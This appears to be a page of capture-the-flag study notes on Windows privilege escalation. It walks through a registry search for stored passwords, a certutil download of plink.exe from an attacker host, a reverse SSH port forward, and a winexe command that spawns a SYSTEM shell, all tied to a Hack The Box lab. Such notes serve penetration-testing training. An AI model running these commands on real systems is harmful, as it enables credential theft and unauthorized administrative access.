> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/windows-privilege-escalation/passwords-and-port-forwarding.md).

# Passwords and Port Forwarding

plink.exe

## Enumeration

Hunt for passwords in registry:

```bash
reg query HKLM /f password /t REG_SZ /s
```

Look for internal open ports:

```bash
netstat -ano
```

If we find a credential and internal open ports

## Exploitation

On your attack machine, edit `/etc/ssh/sshd_config`:

![/etc/ssh/sshd\_config](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWVjG_njKgBtvmnKaJh%2F-MhQJ1kUrYJGmAlDG_fl%2F-MhQokgoW--OfqFMT251%2Fimage.png?alt=media\&token=7ac88287-f8a6-4706-9810-e9ef65152e67)

Restart SSH service:

```bash
service ssh restart
```

Download `plink.exe` to your attack machine:

{% embed url="<https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>" %}
plink.exe
{% endembed %}

Transfer `plink.exe` to the victim machine:

```bash
certutil -urlcache -f http://<local_ip>/plink.exe plink.exe
```

On the victim machine, do **port forwarding** (suppose we want to forward port 445):

```bash
plink.exe -l root -pw <your_kali_password> -R 445:127.0.0.1:445 <local_ip>
```

Press "Enter" a few times to get the output. Use `winexe` to spawn a SYSTEM shell:

```bash
winexe -U Administrator%<password> //127.0.0.1 "cmd.exe"
```

## Lab: Hack The Box - Chatterbox

{% embed url="<https://www.ctfwriteup.com/tcm-academy/tcm-windows-privilege-escalation-course/hack-the-box-chatterbox-medium>" %}
Hack The Box - Chatterbox
{% endembed %}